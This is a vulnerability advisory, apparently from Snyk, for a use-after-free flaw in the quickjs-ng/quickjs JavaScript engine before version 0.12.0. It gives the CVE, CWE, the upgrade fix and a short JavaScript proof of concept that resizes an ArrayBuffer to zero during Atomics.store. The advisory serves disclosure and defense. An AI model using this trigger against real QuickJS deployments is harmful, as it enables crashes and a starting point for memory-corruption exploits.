Use After Free Affecting quickjs-ng/quickjs package, versions [0,0.12.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.35% (27th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use After Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-QUICKJSNGQUICKJS-15035875
  • published19 Jan 2026
  • disclosed19 Jan 2026
  • creditMcsky23

Introduced: 19 Jan 2026

CVE-2026-1144  (opens in a new tab)
CWE-416  (opens in a new tab)

How to fix?

Upgrade quickjs-ng/quickjs to version 0.12.0 or higher.

Overview

Affected versions of this package are vulnerable to Use After Free via the js_atomics_get_ptr function in the file quickjs.c. An attacker can cause a crash or unintended behavior by triggering the use of freed memory through crafted input.

PoC

const rab = new ArrayBuffer(1024, { maxByteLength: 1024 * 1024 });
const i32 = new Int32Array(rab);
const evil = {
    valueOf: () => {
        console.log("resize buffer");
        rab.resize(0); 
        return 123;
    }
};
Atomics.store(i32, 0, evil);

CVSS Base Scores

version 4.0
version 3.1